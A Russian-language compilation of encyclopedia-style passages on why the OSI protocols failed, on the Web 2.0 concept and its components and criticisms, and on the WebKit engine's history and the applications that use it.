… Пока комитеты ISO спорили о своих стандартах, за их спиной менялась вся концепция организации сетей и по всему миру внедрялся протокол TCP/IP. …

И вот, когда протоколы ISO были наконец реализованы,выявился целый ряд проблем:
• Эти протоколы основывались на концепциях, не имеющих в современных сетях никакого смысла.
• Их спецификации были в некоторых случаях неполными.
• По своим функциональным возможностям они уступали другим протоколам.
• Наличие многочисленных уровней сделало эти протоколы медлительными и трудными для реализации.

… Сейчас даже самые рьяные сторонники этих протоколов признают, что OSI постепенно движется к тому, чтобы стать маленькой сноской на страницах истории компьютеров.

Web 2.0

Web 2.0 (определение Тима О’Рейли) — методика проектирования систем, которые путём учета сетевых взаимодействий, становятся тем лучше, чем больше людей ими пользуются.[источник не указан 63 дня] Особенностью веб 2.0. является принцип привлечения пользователей к наполнению и многократной выверке контента. Определение Тима О’Рейли нуждается в уточнении. Говоря "становятся лучше" имеют в виду скорее "становятся полнее", то есть речь, как правило, идёт о наполнении информацией, однако вопросы её надёжности, достоверности, объективности не рассматриваются.

Словосочетание Веб 2.0 не является научным термином.

Появление названия Веб 2.0 принято связывать со статьёй «Tim O’Reilly — What Is Web 2.0»[1] от 30 сентября 2005 года, впервые опубликованной на русском языке в журнале «Компьютерра» (№№ 37 (609) и 38 (610) от 14 и 19 октября 2005 года соответственно) и затем выложенной под заголовком «Что такое Веб 2.0»[2] веб-сайтом «Компьютерра online». В этой статье Тим О’Рейли увязал появление большого числа сайтов, объединённых некоторыми общими принципами, с общей тенденцией развития интернет-сообщества, и назвал это явление Веб 2.0, в противовес «старому» Веб 1.0. Несмотря на то, что значение этого термина до сих пор является предметом многочисленных споров, те исследователи, которые признают существование Веб 2.0, выделяют несколько основных аспектов этого явления.

 

Критика

«Web 2.0» не является новой версией «Всемирной паутины», а лишь продолжает использовать технологии и концепции «Web 1.0». Многие из идей Web 2.0 уже встречались в сети задолго до того, как возник термин Web 2.0. Например, сайт Amazon.com позволяет пользователям писать рецензии и руководства пользователям с момента своего создания в 1995 году.

Тим Бернерс-Ли, возглавляющий с 2006 года крупнейший мировой исследовательский проект по изучению всемирной паутины, назвал термин Web 2.0 простым жаргоном:

«Никто не знает, что это означает… Если Web 2.0 — это ваши блоги и вики, тогда это значит “пользователи для пользователей”.. Но это тоже самое, что сказать — Web существует, чтобы все люди были вместе»[3]

Веб-службы

Основная статья: Веб-служба

Веб-службы — это программы, доступ к которым осуществляется через Веб (то есть протокол HTTP), а обмен данными происходит в формате XML или JSON используя один из трех наиболее распространенных архитектурных стилей проектирования приложений RPC, SOA или REST. В результате программное обеспечение может использовать веб-службы вместо того, чтобы самостоятельно реализовывать требуемый функционал (например, проверить введенный в форме почтовый адрес). В отличие от обычных динамических библиотек, такой подход обладает рядом плюсов:

  • Веб-служба находится на серверах компании, которая её создала. Поэтому в любой момент пользователю доступна самая свежая версия данных и ему не приходится заботиться об обновлениях и вычислительных мощностях, требуемых для выполнения операции.
  • Инструменты для работы с HTTP и XML есть в любом современном языке программирования, поэтому веб-службы переходят в разряд платформонезависимых.

AJAX

Основная статья: Ajax

Asynchronous JavaScript and XML — подход к построению пользовательских интерфейсов веб-приложений, при котором веб-страница, не перезагружаясь, асинхронно загружает нужные пользователю данные. Использование Ajax стало наиболее популярно после того как Google начала активно использовать его при создании своих сайтов, таких как Gmail и Google Maps. Часто Ajax считают синонимом Веб 2.0, что совершенно не так. Веб 2.0 не привязан к какой-то одной технологии или набору технологий, с тем же успехом ещё в 1999 году возможность асинхронного обновления страницы уже предоставлял Flash 4.

Веб-синдикация

Одновременное распространение информации в том числе аудио- и видео- на различные страницы или web-сайты, как правило, с использованием технологий RSS или Atom. Принцип заключается в распространении заголовков материалов и ссылки на них (например, последние сообщения форумов, и т. п.). Первоначально эта технология использовалась на новостных ресурсах и в блогах, но постепенно сфера применения расширилась.

Mash-up

Веб mash-up (дословный перевод — «смешение») — сервис, который полностью или частично использует в качестве источников информации другие сервисы, предоставляя пользователю новую функциональность для работы. В результате такой сервис может становиться также новым источником информации для других веб mash-up сервисов. Таким образом образуется сеть зависимых друг от друга сервисов, интегрированных друг с другом.

Например, сайт по поиску недвижимости с интегрированными картами Google Maps в итоге представляет собой новый, более удобный сервис, с помощью которого каждый пользователь может сразу увидеть все предлагаемые для продажи дома на карте [4].

Метки (теги)

Ключевые слова, описывающие рассматриваемый объект, либо относящие его к какой-либо категории. Это своего рода метки, которые присваиваются объекту, чтобы определить его место среди других объектов. С понятием меток тесно связано понятие фолксономии — термина, о котором широко заговорили именно в связи с ростом сервисов Веб 2.0, таких как Flickr, del.icio.us, и, в дальнейшем, Wink.

Появление и быстрое распространение блогов тоже вписывается в концепцию Веб 2.0, создавая так называемую «редактируемую Паутину» (writable web).

Возможность пометить документ ключевыми словами существует[5] и в языке HTML (англ. keywords), однако этот способ был полностью скомпрометирован широким его использованием в целях поискового спама.

Социализация

Использование разработок, которые позволяют создавать сообщество.

  • В понятие социализация сайта можно также включить возможность индивидуальных настроек сайта и создание личной зоны (личные файлы, изображения, видео, блоги) для пользователя, чтобы пользователь чувствовал свою уникальность.
  • Поощрение, поддержка и доверие «коллективному разуму».
  • При формировании сообщества большое значение имеет соревновательный элемент, Репутация или Карма, которые позволяют сообществу саморегулироваться и ставить пользователям дополнительные цели присутствия на сайте..

Дизайн

Понятие Веб 2.0 также отразилось и в дизайне. Предпочтительными стали округлость, имитация выпуклых поверхностей, имитация отражений на манер глянцевого пластика современных hi-end устройств (к примеру, плееры). В целом, восприятие внешнего вида на глаз кажется более приятным. Графика таких сайтов занимает больший объём, нежели при использовании аскетичного дизайна. Отчасти эта тенденция связана с совпавшим по времени выходом новых версий операционных систем использующих вышеупомянутые идеи.

Однако однообразие таких сайтов явно и в последнее время считается, графический облик классического дизайна веб 2.0, устаревшим и не креативным. Особенно это отражается в современной тенденции создания информативных сайтов где главную роль играет простота, изящество, графичность и юзабилити. В дизайне не должно быть ограничений, но веб 2.0 их прививает.

Недостатки Веб 2.0

При использовании технологий web 2.0 вы становитесь арендатором сервиса и/или дискового пространства у какой-то сторонней компании. Возникающая при этом зависимость формирует ряд недостатков новых сервисов:

  • зависимость сайтов от решений сторонних компаний, зависимость качества работы сервиса от качества работы многих других компаний;
  • слабая приспособленность нынешней инфраструктуры к выполнению сложных вычислительных задач в браузере;
  • уязвимость конфиденциальных данных, хранимых на сторонних серверах, для злоумышленников (известны случаи хищения личных данных пользователей, массовых взломов учётных записей блогов).

Фактически сайт эпохи Веб 2.0 на первый взгляд интерактивен и дружелюбен, позволяет себя легко настраивать. Однако сбор статистики о пользователях, их предпочтениях и интересах, личной жизни, карьере, круге друзей могут помочь владельцу сайта манипулировать сообществом. По самым пессимистичным прогнозам многочисленные сайты Веб 2.0 вкупе с другими современными технологиями дают прообраз тоталитарной системы «Большого брата».

Веб 2.0 как фикция

Термин Веб 2.0 зачастую используются с целью рекламы как модное слово или для завышения реальной стоимости проекта и собственной значимости разработчиков в глазах клиентов. Также разные люди под этим термином понимают совсем разные вещи. В результате в среде профессионалов к этому термину относятся весьма скептически, так как трудно найти принципиальные отличия Веб 2.0 от обычных сайтов.

WebKit engine

WebKit — свободный движок для отображения веб-страниц, разработанный компанией Apple Inc. на основе кода библиотек KHTML и KJS, используемых в графической среде KDE.

Исходный код открыт на условиях LGPL, то есть любой из компонентов или все компоненты сразу, в неизменном или измененном виде, можно использовать в проектах любого назначения (в том числе, коммерческих) с одним условием: библиотеки или их производные должны быть опубликованы с открытым исходным кодом на условиях лицензии LGPL. WebKit входит в состав «публичных» фреймворков (динамических библиотек особой структуры), поставляющихся с каждой копией Mac OS X с июня 2003 года.

На данный момент осуществляет наиболее полную поддержку HTML в соответствии с рекомендациями W3C.

История

В ноябре 2000 года на сайте Apple в разделе «Требуются» появилось несколько вакансий. От соискателей требовалось хорошее владение Интернет-технологиями, опыт разработки web-движков и тому подобные качества. Иными словами, в конце 2000 года было принято решение о разработке собственного браузера. Изучив доступные варианты, инженеры компании остановили свой выбор на движке с открытым исходным кодом KHTML/KJS, который, по их мнению, был лучшим.

В 2001 году инженеры Apple создали собственную ветку проекта KHTML и KJS, переименовали свой вариант библиотек в WebCore и JavaScriptCore и, сохранив все достоинства оригинала, полностью их переписали.

В январе 2003 года на Macworld Expo Стив Джобс анонсировал веб-браузер Safari, разработанный на основе WebKit.

В апреле 2008 года команда разработчиков веб-бразуера Epiphany для среды GNOME, заявила[1] о том, что собирается использовать в своем браузере исключительно WebKit, тем самым отказаться от поддержки движка Gecko, разрабатываемого Mozilla Foundation.

2 сентября 2008 года — компания Google объявила о выпуске собственного браузера Chrome на основе движка WebKit. Первоначально Chrome выпущен только под Microsoft Windows, в настоящее время доступны версии для операционных систем GNU/Linux и Mac OS X.

Компоненты

WebCore

Отображение и библиотека Document Object Model (DOM) для HTML и SVG.

JavaScriptCore

JavaScriptCore — фреймворк для обработки сценариев JavaScript в WebKit. В новых версиях WebKit Apple заменит JavaScriptCore более современным и быстрым SquirrelFish.

Отладчик ошибок, входящий в состав ночных сборок WebKit.

Приложения, использующие WebKit

  • Safari — веб-браузер для Mac OS X и Windows
  • iCab — веб-браузер для Mac OS X
  • Google Chrome — веб-браузер от Google
  • SRWare Iron — веб-браузер от компании SRWare, выпущенный в связи с тем, что Google Chrome отправляет компании Google сведения о пользователе.
  • Epiphany — веб-браузер для среды рабочего стола GNOME
  • Adobe Integrated Runtime (AIR) — платформо-независимая среда для запуска приложений
  • Android — платформа для мобильных телефонов
  • Arora — веб-браузер, основанный на Qt 4
  • Iris Browser — веб-браузер для Windows Mobile
  • Konqueror — основанный на KHTML веб-браузер и файловый менеджер, входящий в состав KDE 4
  • LeechCraft — кроссплатформенный модульный интернет-клиент с плагином-браузером Poshuku.
  • Maxthon 3 — веб-браузер для Windows с возможностью переключения движков.
  • Midori — веб-браузер, основанный на Gtk. Планируется включение в состав среды рабочего стола Xfce.
  • Nokia Series 60 browser — веб-браузер для мобильных телефонов Nokia S60
  • OmniWeb — веб-браузер для Mac OS X
  • QtWeb — веб-браузер для Windows, основанный на Qt
  • ReKonq — веб-браузер, основанный на Nokia QtDemoBrowser
  • Shiira — веб-браузер для Mac OS X
  • Swift — веб-браузер для Windows
  • qutIM — кроссплатформенный IM клиент
  • Uzbl — веб-браузер для Unix-подобных систем с подключаемыми в виде скриптов интерфейсами, управляющими отображающей страницы программой.